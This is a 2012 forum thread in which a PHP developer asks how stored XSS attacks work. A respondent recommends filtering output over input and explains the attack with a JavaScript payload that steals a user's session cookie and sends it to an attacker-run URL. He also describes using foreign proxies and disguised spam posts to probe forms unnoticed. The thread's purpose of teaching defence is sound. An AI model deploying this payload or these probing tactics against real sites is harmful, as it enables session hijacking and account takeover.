Understanding XSS attacks ...

pepelepew1962 · 01-26-2012, 03:53 AM

Hello:

I am really trying to understand XSS attacks and can't seem to wrap my head around it, I would rather seem like a fool than program like one with holes in it. My problem is understanding how an attack occurs. Let's say Mary logs into the system and creates a record in the table via an html form. I have php filters and validation for the data before it actually goes into mysql table. My question is how does John attack my website? Or more important, how does he actually change files? If he were to have a log in and gains access because it doesn't take much to register, how? Is it a matter of the filter being bad and his XSS scipt is in a record and when someone open/views that
record (field) the script is launched? I have read lots on how the javascript, for example, is placed in the url or form fields but nothing explains whether the information is saved and launched via the record stored in the database.

Village Idiot · 01-26-2012, 07:21 AM

First off I'd like to congratulate you on making the first post I've felt worthy of a response in about a year (yes, I've been lurking all time time).

Regarding filters, they are usually the only point that allows XSS attacks. SQL injection can do this if you only filter input. In general it is better to store data in the purest form possible and filter the output. XSS is not an input problem, it is an output problem. Only filtering output makes it easier to maintain should you need to change one of your algorithms, otherwise you are going to have to process though all the data in your database and convert it. I've had to do this on a massive database before, you don't want to.

XSS attacks revolve around making a browser execute client side code that they did not want to. These methods are usually quite specific to the script. Lets say you validate your logins with a 256 bit key that is randomly assigned at login and chances every ten minutes. This key contains roughly 1.2x10^77 combinations so brute forcing it is impossible, you have to take it. You have a page to change any users password that is admin/changeUserPass.php with the post fields userID and newPass. The script properly checks admin credentials so anyone without a valid session will not execute. To change the admin's password for permanent access you need a session key.

How you found it is unimportant, perhaps a SQL field was not secured or something didn't filter its content. Whatever the case you have somewhere where you can run client side content. You would inject something like this (I don't think this would work as is, I'll make it work tomorrow when I'm not extremely tired)

Code:

 <img src="" id="XSSexploit" />
<script>
function getCookie(c_name)
 {
 var i,x,y,ARRcookies=document.cookie.split(";");
 for (i=0;i<ARRcookies.length;i++)
 {
   x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
   y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
   x=x.replace(/^\s+|\s+$/g,"");
   if (x==c_name)
     {
     return unescape(y);
     }
   }
 }
document.getElementById("XSSexploit").src="http://mysite.com/exploit.php?cookie=" + escape(getCookie("sessionid"));
</script>

Then on your site you'd have a script that reads the GET data and either stores it or runs an automated attack with it. For the next few minutes having that cookie will be enough to log in. It may take a number of tries but as soon as you have an admin cross this page you are in.

Another simpler method is to use javascript to direct the user to download a virus.

pepelepew1962 · 01-26-2012, 05:12 PM

Thanks for the response. So the way the attack occurs is that the code is entered into my database, prolly via a form, and when that record is called up/viewed/accessed, it is unleased?

Village Idiot · 01-26-2012, 06:15 PM

That depends on the situation, different sites have different issues that allow something like that to happen. Hacking is extremely specific, when surveying a site to see if vulnerability issues exist you do a lot of research and information gathering. If I came across a form I thought had issues I would log on to a India or Philippines proxy and post a spam message to a Viagra site. In the message would be things like "<b></b>" and "<script> to invisibly test how it handles bad content. The content would be soon deleted and no real attention would be given to its bad code. You can immediately look at the output and see what happened. Once you understand the weakness in the algorithm you can attack it.